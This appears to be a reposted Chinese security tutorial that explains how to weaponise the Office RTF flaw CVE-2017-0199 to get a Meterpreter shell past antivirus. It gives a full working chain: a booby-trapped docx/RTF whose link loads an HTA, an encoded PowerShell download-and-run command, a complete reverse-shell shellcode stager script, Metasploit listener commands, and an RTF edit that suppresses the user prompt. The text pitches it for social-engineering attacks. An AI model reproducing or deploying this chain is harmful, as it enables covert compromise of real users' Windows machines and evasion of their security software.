内容简介:【技术分享】CVE-2017-0199结合powershell过杀软弹回meterpreter
作者: 七三
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
0x01 介绍
CVE-2017-0199是2017年4月11日发布的一个Microsoft Office RTF漏洞,当用户打开包含嵌入式漏洞的文档时,允许使用者下载并执行恶意的Visual Basic脚本。office使用用户非常多,因此该漏洞可用作许多社工攻击了。
当我们需要弹回一个meterpreter时总要考虑免杀的问题,一般的exe完全没有在安装杀软的机器上得到执行的机会。
考虑到powershell的无文件特性,这里使用powershell倒是可以一试。
为什么免杀:
1.这里不需要执行msfvenom生成的恶意程序,因为基本上所有的杀软都会杀掉的
2.使用powershell加载脚本执行,弹meterpreter的功能用ps1脚本实现
0x02 技术细节
在可访问服务器(你的vps or 肉鸡)建立一个RTF空文件(目的在于避免下面插入对象时不存在而出错)。
shell echo ''>rtf.rtf
新建一个word文档--插入--对象(在右边栏下)--由文件创建--加上`http://xxxxxx/rtf.rtf`
记得勾选`链接到文件`,另保存为docx文件,
然后修改内部加载。可以将docx后缀换为zip--打开
找到word\\_rels\document.xml.rels 文件编辑
找到oleObject对象。如下
xml Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/xx.rtf"
x.x.x.x 就是之前制作docx的插入服务器ip地址。修改为
xml Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/hta.hta"
然后保存覆盖
在服务器添加一个hta.hta文件,放到上面链接能访问到的位置,hta内容如下:
html
<html>
<head>
<script>var c= 'C:\\Windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe -ep bypass -enc QwA6AFwAVwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHcAaQBuAGQAbwB3AHMAcABvAHcAZQByAHMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAGUAcAAgAGIAeQBwAGEAcwBzACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AeAAuAHgALgB4AC4AeAAvAHIAZQB2AC4AcABzADEAJwApADsAcgBlAHYADQAKAA==';new ActiveXObject('WScript.Shell').Run(c,0);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
这是一个远程运行powershell反弹meterpreter的运行语句
其中一段base64解码完成后的powershell语句如下,这里编码的好处是可以避免一些特殊字符带来的错误。
powershell
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev
如果这里是32为系统 则可以不加前面的路径,如下
powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev
现在来解释这个`http://x.x.x.x/rev.ps1`是什么?
这也是一个放在可访问的服务器下的powershell脚本,内容如下
powershell
function rev {
$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@
try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect('x.x.x.x', 2333) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
}
注意其中的`$s.Connect('x.x.x.x', 2333)`就是你msf监听的地址和端口。修改后放在一个可访问的服务器上即可。
然后编码你这个powershell语句 放入hta文件中
echo IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/rev.ps1');rev|iconv --to-code UTF-16LE |base64`
开启msf监听,
shell msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST x.x.x.x LHOST => x.x.x.x msf exploit(handler) > set LPORT 2333 LPORT => 2333
运行docx,有个弹框 选择是才可以弹回shell,不然弹不回,
如果要想不用选择`是`都可以弹回shell
可以将docx文件另存为rtf文件,用编辑器打开,将
`\object\objautlink\rsltpict` 替换为 `\object\objautlink\objupdate\rsltpict` 即可
然后打开rtf文件 也有弹框供你选择 但是已经弹回来了。
私以为docx文档比rtf文档更容易让别人点击。
全程开着杀软,并没有提示危险信息,这得自与powershell的强大之处。
0x03 参考
https://xianzhi.aliyun.com/forum/read/1547.html
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3889.html
以上所述就是小编给大家介绍的《【技术分享】CVE-2017-0199结合powershell过杀软弹回meterpreter》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 代理模式——结合SpringAOP讲解
- 如何结合 Scrum 和 Kanban
- NServiceBus 结合 RabbitMQ 使用教程
- ActiveMQ结合Spring收发消息
- quicklink学习以及结合React
- 业务流程与软件架构的结合
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Building Web Reputation Systems
Randy Farmer、Bryce Glass / Yahoo Press / 2010 / GBP 31.99
What do Amazon's product reviews, eBay's feedback score system, Slashdot's Karma System, and Xbox Live's Achievements have in common? They're all examples of successful reputation systems that enable ......一起来看看 《Building Web Reputation Systems》 这本书的介绍吧!